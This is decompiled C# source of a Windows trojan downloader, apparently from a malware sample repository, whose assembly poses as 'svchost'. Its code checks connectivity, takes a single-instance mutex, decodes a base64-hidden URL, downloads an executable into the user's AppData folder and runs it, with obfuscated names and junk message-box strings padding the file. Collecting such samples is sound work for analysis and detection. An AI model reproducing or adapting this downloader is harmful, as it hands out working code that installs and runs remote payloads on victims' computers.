MalwareSourceCode/MSIL/Trojan/Win32/F/Trojan.Win32.Fsysna.gkub-d9473a56126348c1c248f19377dabf233a7f32a3f368c58360bdc5b35ed41b30/VJxSJzN.cs

// Decompiled with JetBrains decompiler
// Type: VJxSJzN
// Assembly: svchost, Version=3.12.31.6307, Culture=neutral, PublicKeyToken=null
// MVID: DCA39F30-4249-40DF-B21B-AC098A39B0DC
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.Win32.Fsysna.gkub-d9473a56126348c1c248f19377dabf233a7f32a3f368c58360bdc5b35ed41b30.exe

using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using My;
using System;
using System.Diagnostics;
using System.IO;
using System.Text;
using System.Threading;

[StandardModule]
internal sealed class VJxSJzN
{
  private static string XGGtfHdpElDosTHFyQOkGekgsvLghqBvZoH = "buoeKTUSXIBImzyPSVNmBteMOiLQdo";
  private static Mutex JWKvXtsUCTFJjKVPheBW;
  private static string ZVKeULZjSSFrToCQxPBFeTQKcZwSqwsEIWrtDNHkBTnHBqWffe = MyProject.Computer.FileSystem.SpecialDirectories.Temp + "\\";
  private static string cNGOrFEUYaSrHyjRTnQVjtObPCcyxaHYLPoPaUmjGcBsoBRgCp = MyProject.Computer.FileSystem.SpecialDirectories.CurrentUserApplicationData + "\\";

  public static void JxvVMYbQgRGKBCapKvBJ(
    string paOWAsdvyEposPuYHbJypajQUBWbmODhcgrAbcjxgqeZawObR)
  {
    int num1 = (int) Interaction.MsgBox((object) "ZbTXCipwebGUGPypXuZVQbNToKOaCiRMScexGoTVdJOhMSbsBtYnWhYBwbBGkMxOgcFpUeIYEahaoVRUYZqLXQNNcicfyLiPLqEaNrrHCpUaGNEUkzkSoSMGcvB");
    int num2 = (int) Interaction.MsgBox((object) "jLUuDaXKtEwToMBfpNyzMchnuQsZlpjWsmEllLiHLdMoaXigrHqgjMtrLQpuuGHjPvDQTwdUmRQVLvHfzwVvsJYlnhprUCpRdrnmmVzVtkPLbtmRGTZZhLHOPXEr");
    int num3 = (int) Interaction.MsgBox((object) "JRZvCeeSjBXYUsPKnTCOrcgaYrWMPIAGtmaDAkpwXepRSnuTdYziMChpkVfxUxTrTSPnoElAhkVgEnOGcoSnSZxrhVKUQbhEaSLSAMblMqMbMpnqyyOVBasTQWyeLVKiv");
    int num4 = (int) Interaction.MsgBox((object) "cdqOixknGDEghQEhnlxIOSjFEGBXKfZkwQpjbJblrJBwRTYpaBRvIHAMUCjOYaXkIppLKLIdGoqwLGEYspiIujNrdhdfYcPSnWgdlzsXcLNORWLsRVjbYvlCHQYGKgOoNgCTG");
    int num5 = (int) Interaction.MsgBox((object) "IKaIkyJaueEDCCMNqxGzcIWUlqIXGIqjBqrusNIPnWIqorqjEdzLVvLBvzYHIiToTseExuUKOMighbvngfqpaIllHPdkrbFgnBKwRzZmEVQFhBrhyZVSurMiwINpJiPS");
    int num6 = (int) Interaction.MsgBox((object) "FIQMBwhlfWkIggixZgLpgSlYRTZrcGTEJIhSazxSwopYreBtphjVhyYKJsZRWTTZkfoQRhFKYEZKPXILUCvYSIqMlLSnFZbXcscSMuXsPLLhADxuJ");
    int num7 = (int) Interaction.MsgBox((object) "YnQmpgQMIRHHaNnVfULhMmdggApDFVPiItTUbUBtolJStJraLtotsDQOrmWfEiErIQlRfWMQQgxgPJyoeQlJYaumwGUYQSkjURcGVafcjQgZKCoLhLFcuxBoXpLLQsMmMOSUnh");
    int num8 = (int) Interaction.MsgBox((object) "iouswuvrFXPmRyNdHDrikHYNeimMdPTxpgabNsMQOARZaKQIDLgWrQNxNTXeDHlQdtFbuHnXnvgoQqXnLtIMIIONTziieKiGKlLMfXbHrPiBaZkNvKzYXS");
    int num9 = (int) Interaction.MsgBox((object) "ugxFHnIushedGGavyJqqBzpAUNFBrpESGUQyipMzXHQgHYMUbeWdDErtsouZlIvKkRWqczGylskzZHOKRYrLgvwpTRtmdvpDWESaDZRJWVneVOImJaBjxghJn");
    int num10 = (int) Interaction.MsgBox((object) "KjmajWUxWQeJiBYknyHSBqxHKvITKzqxKJvurGqOlapNOjCThllHCbWwORnxWVMkxyYUtXbvTvetalmtMcQHleFRmxCicUJGwPjIPrSbTXLKubTtfSLZcUnCdhR");
    int num11 = (int) Interaction.MsgBox((object) "ibqlTPCjvkBbQyBMKeobydLSQJflupvdNCOMFLyritSAXmNCNsfELBHfWRgMcGCpnINYzvrVUQFXyeYJhSBFRHSOauizpwzrCGvvXIQWAQXUPPQgPSKFmkaVVHsZBAUlBLUGtmB");
  }

  [STAThread]
  public static void Main()
  {
    if (MyProject.Computer.Network.Ping("www.google.com"))
    {
      VJxSJzN.vnjuMbwktRMprYr(VJxSJzN.XGGtfHdpElDosTHFyQOkGekgsvLghqBvZoH);
      VJxSJzN.DoitNow();
    }
    else
    {
      int num = (int) Interaction.MsgBox((object) "Check your internet conection");
    }
  }

  public static void DoitNow()
  {
    string address = Encoding.UTF8.GetString(Convert.FromBase64String("aHR0cDovL3NvZnk4NC5mcmVlLmZyL3NvZnk4NC9icy9zdmNob3N0LmV4ZQ=="));
    int num = address.LastIndexOf("/");
    string str = address.Substring(checked (num + 1));
    if (File.Exists(VJxSJzN.cNGOrFEUYaSrHyjRTnQVjtObPCcyxaHYLPoPaUmjGcBsoBRgCp + str))
      File.Delete(VJxSJzN.cNGOrFEUYaSrHyjRTnQVjtObPCcyxaHYLPoPaUmjGcBsoBRgCp + str);
    MyProject.Computer.Network.DownloadFile(address, VJxSJzN.cNGOrFEUYaSrHyjRTnQVjtObPCcyxaHYLPoPaUmjGcBsoBRgCp + str);
    Process.Start(VJxSJzN.cNGOrFEUYaSrHyjRTnQVjtObPCcyxaHYLPoPaUmjGcBsoBRgCp + str);
  }

  public static void vnjuMbwktRMprYr(string xGuajkinLR)
  {
    try
    {
      Mutex.OpenExisting(xGuajkinLR);
      ProjectData.EndApp();
    }
    catch (Exception ex)
    {
      ProjectData.SetProjectError(ex);
      VJxSJzN.JWKvXtsUCTFJjKVPheBW = new Mutex(false, xGuajkinLR);
      ProjectData.ClearProjectError();
    }
  }
}